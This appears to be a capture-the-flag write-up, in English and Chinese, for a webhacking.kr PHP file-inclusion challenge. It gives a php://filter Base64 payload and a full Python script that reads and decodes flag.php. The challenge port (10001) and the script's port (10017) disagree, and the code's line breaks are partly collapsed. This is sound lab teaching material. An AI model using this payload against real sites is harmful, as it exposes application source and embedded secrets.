Challenge
Read the flag source through the file parameter.
通过 file 参数读取 flag 源码。
http://webhacking.kr:10001/Analysis
file 参数进入 PHP 的文件包含路径,服务端会在资源名后补上 .php。直接包含 flag 会执行其中的 PHP;把路径改成 php://filter/convert.base64-encode/resource=flag 后,PHP 先读取 flag.php,再将源码编码为 Base64,源码内容不会被执行。
Solution
完整请求脚本如下。它从响应中提取 Base64 字符串并尝试解码,直到找到包含 PHP flag 变量的源码:
#!/usr/bin/env python3import base64import re
import requests
URL = "http://webhacking.kr:10017/"FILTER_PATH = "php://filter/convert.base64-encode/resource=flag"
def decode_source(response_text: str) -> str: candidates = re.findall(r"[A-Za-z0-9+/]{20,}={0,2}", response_text) for token in candidates: padded = token + "=" * (-len(token) % 4) try: decoded = base64.b64decode(padded, validate=True).decode( "utf-8", errors="replace" ) except (ValueError, UnicodeError): continue if "$flag" in decoded or "FLAG{" in decoded: return decoded raise RuntimeError("response did not contain decodable flag source")
def main() -> None: response = requests.get( URL, params={"file": FILTER_PATH}, timeout=20, ) response.raise_for_status() print(decode_source(response.text))
if __name__ == "__main__": main()从响应中读取并解码 flag.php 源码后,将其中的 flag 填入认证表单。
服务端响应模板变化时,应先从响应中定位实际 Base64 内容。